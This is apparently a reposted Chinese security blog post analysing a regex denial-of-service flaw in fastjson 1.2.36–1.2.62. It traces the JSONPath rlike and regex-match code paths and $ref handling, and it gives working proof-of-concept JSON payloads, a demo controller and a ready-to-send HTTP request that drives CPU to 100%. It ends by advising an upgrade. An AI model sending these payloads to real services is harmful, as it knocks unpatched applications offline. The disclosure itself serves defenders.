综合编程

fastjson < 1.2.66 正则表达式拒绝服务漏洞

微信扫一扫,分享到朋友圈

fastjson < 1.2.66 正则表达式拒绝服务漏洞

关于漏洞

朋友说最近fastjson又出新洞了,我就再研究了一遍fastjson,结果又找出来了一个拒绝服务漏洞,所以有了这篇文章。

漏洞范围: 1.2.36 – 1.2.62

漏洞分析

首先导入1.2.62版本的fastjson

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>

JSONPath

我最开始是从 JSONPath 这个类看起的,漏洞主要也出现在 JSONPath 类。

JSONPath 是一个用于通过表达式快速的获取 JSON 对象里的数据的类。

有点类似于 Xpath、CSS选择器这种东西。

举个例子

Object result = new JSONPath("$.root['item1']").eval("{"root":{"item1":"blue"}}");
//Object result = JSONPath.eval("{"root":{"item1":"blue"}}", "$.root['item1']");
/**
result = blue
**/

JSONPath#JSONPath(java.lang.String) 构造方法会将传进来的 path 赋给 this.path 属性。

跟进到 init 方法

跟进 JSONPath.JSONPathParser#explain

跟进 JSONPath.JSONPathParser#readSegement

这里当前读到的字符等于 [ 就进入到 JSONPath.JSONPathParser#parseArrayAccess

JSONPath.Segment parseArrayAccess(boolean acceptBracket) {
Object object = this.parseArrayAccessFilter(acceptBracket);
return (JSONPath.Segment)(object instanceof JSONPath.Segment ? (JSONPath.Segment)object : new JSONPath.FilterSegment((JSONPath.Filter)object));
}

parseArrayAccess 先调用 parseArrayAccessFilter() 方法得到一个Segment对象,然后将它再实例化为FilterSegment对象。

JSONPath 第3117行处当读取到的操作符为 RLIKE 或 NOT_RLIKE 时就会返回一个 JSONPath.RlikeSegement 对象

propertyName 是操作符左边的值,name是操作符右边的值。

比如 [var rlike 'regex'] propertyName=var , name=regex

返回到 init() 方法 this.segments 最终得到了一个内嵌RlikeSegement对象的FilterSegment数组。

再跳回到最开始的 eval 方法,

当初始化完成后开始对 segments 数组遍历,调用它们的 eval(this, rootObject, currentObject) 方法

前面提到过,数组里有一个 FilterSegment 对象,所以应该跟进到 FilterSegment#eval 方法。

filter 是 RlikeSegement 对象,所以应跟到 JSONPath.RlikeSegement#apply

后面就是从 currentObject 中取 propertyName 然后和正则匹配。

漏洞就出现在这个地方,当正则表达式可控时,就会造成“REDOS”正则表达式拒绝服务。

Object eval = new JSONPath("[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']").eval("{"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}");

执行这一段代码你会发现在正则匹配的时候线程就阻塞在那儿不动了,并且还会耗费 CPU。

这样虽然可以让 Java 应用拒绝服务,但在大多数项目中很少能见到 JSONPath 可控的场景。

所以应该找到在解析 JSON 时的利用点。

JSON $ref

先来看常见的解析 json 对象用的静态方法 JSON.parse

这里先用 DefaultJSONParser 类对整个 json 字符串进行了 JSON 对象的转化。

跳过一些无用步骤,直接到 DefaultJSONParser#parseObject

首先要让key等于 $ref 满足if条件。

然后让 $ref 的值不要等于 @ 和 .. 和 $ 就会进入 else 代码块调用 addResolveTask 方法,这个方法的作用就是给 this.resolveTaskList 集合添加一个ResolveTask对象。

再返回到 JSON#parse ,JSON解析部分结束

进入漏洞触发点 DefaultJSONParser#handleResovleTask 方法。

最终在 1508 行调用了 JSONPath.eval(value, ref); 触发漏洞。

我构造得到如下 POC 代码

{
"regex":{
"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

另外除了 RlikeSegement 类以外还有一个 RegMatchSegement 类,同样存在REDOS漏洞,过程基本上一样所以直接放上POC。

{
"regex":{
"$ref":"$[blue = /^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"
},
"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

漏洞演示

我写了一个简单的 demo 用来测试是否能够将 java 应用拒绝服务。

/**
* @author 浅蓝
* @email blue@ixsec.org
* @since 2019/11/17 21:16
*/
@RestController
@RequestMapping()
public class TestController {
@RequestMapping("/parse")
public String parse(String json){
Object parse = JSON.parse(json);
return parse.toString();
}
}

启动服务后我开启了 50 个线程同时向解析json的接口发起请求

POST /parse HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
json={"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

CPU 瞬间飙升 100%

修复方案

  • 更新版本大于等于 1.2.66

CSS实现控制元素的显示和隐藏

上一篇

Linux中PATH、CLASSPATH等环境变量配置格式详解

下一篇

你也可能喜欢

评论已经被关闭。

插入图片

热门栏目

fastjson < 1.2.66 正则表达式拒绝服务漏洞

长按储存图像,分享给朋友